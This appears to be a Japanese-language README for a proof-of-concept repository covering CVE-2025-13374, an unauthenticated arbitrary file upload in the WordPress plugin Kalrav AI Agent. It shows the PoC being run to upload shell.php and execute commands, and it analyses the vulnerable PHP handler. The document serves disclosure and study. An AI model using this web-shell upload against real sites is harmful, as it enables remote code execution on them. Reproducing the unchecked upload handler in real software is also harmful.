d0n601/cve-2025-13374Kalrav AI Agent <= 2.3.3 - 未認証の任意ファイルアップロード（kalrav_upload_file AJAX Action経由）
WordPress プラグイン Kalrav AI Agent（バージョン 2.3.3 以前）には、認証されていないユーザーが悪意のある PHP ファイルをサーバーにアップロードできる任意ファイルアップロードの脆弱性が存在し、リモートコード実行につながる可能性があります。
リモート攻撃者が shell.php をアップロードし、リモートコードを実行することを示す POC CVE-2025-13374.py を提供します:
python3 ./CVE-2025-13374.py http://techcorp.cc
[+] Target: http://techcorp.cc
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/plugins/kalrav-ai-agent/uploads/1763247725-shell.php
[+] Command output:
www-data
脆弱性は /wp-admin/admin-ajax.php エンドポイントの kalrav_upload_file() 関数に存在します。アップロード機能には、適切なファイル検証、nonce 検証、および権限チェックが欠けています。これにより、認証されていないユーザーが任意のファイル（サーバー上で実行可能な PHP ファイルを含む）をアップロードできます。
ソース: $_FILES['file'] からのユーザー入力 (line 978)
シンク: move_uploaded_file($_FILES['file']['tmp_name'], $target_path) (line 982)
脆弱性は以下の理由で発生します:
wp_ajax_nopriv_kalrav_upload_file フック (line 967) を介して登録されており、認証されていないアクセスを許可しています。wp_ajax_nopriv_ プレフィックスにより、認証されていないユーザーが関数にアクセス可能になります。$_FILES['file'] からのユーザー制御のファイルデータが検証なしで直接処理されます。basename() を使用した基本的なファイル名サニタイズのみが適用されます: time() . '-' . basename($_FILES['file']['name']) (line 979)。これはディレクトリトラバーサルのみを防ぎ、ファイル拡張子の検証は行いません。wp-content/plugins/kalrav-ai-agent/uploads/ に保存されます。ファイル: kalrav-ai-agent.php
行: 969-996
add_action('wp_ajax_kalrav_upload_file', 'kalrav_upload_file');
add_action('wp_ajax_nopriv_kalrav_upload_file', 'kalrav_upload_file');
function kalrav_upload_file()
{
// Path to your plugin uploads folder
$upload_dir = plugin_dir_path(__FILE__) . 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (!empty($_FILES['file']['name'])) {
$file_name = time() . '-' . basename($_FILES['file']['name']);
$target_path = $upload_dir . $file_name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
wp_send_json_success([
'message' => 'File uploaded successfully!',
'file_path' => $target_path,
'url' => plugins_url('uploads/' . $file_name, __FILE__)
]);
} else {
wp_send_json_error(['message' => 'Failed to move uploaded file.']);
}
} else {
wp_send_json_error(['message' => 'No file uploaded.']);
}
wp_die();
}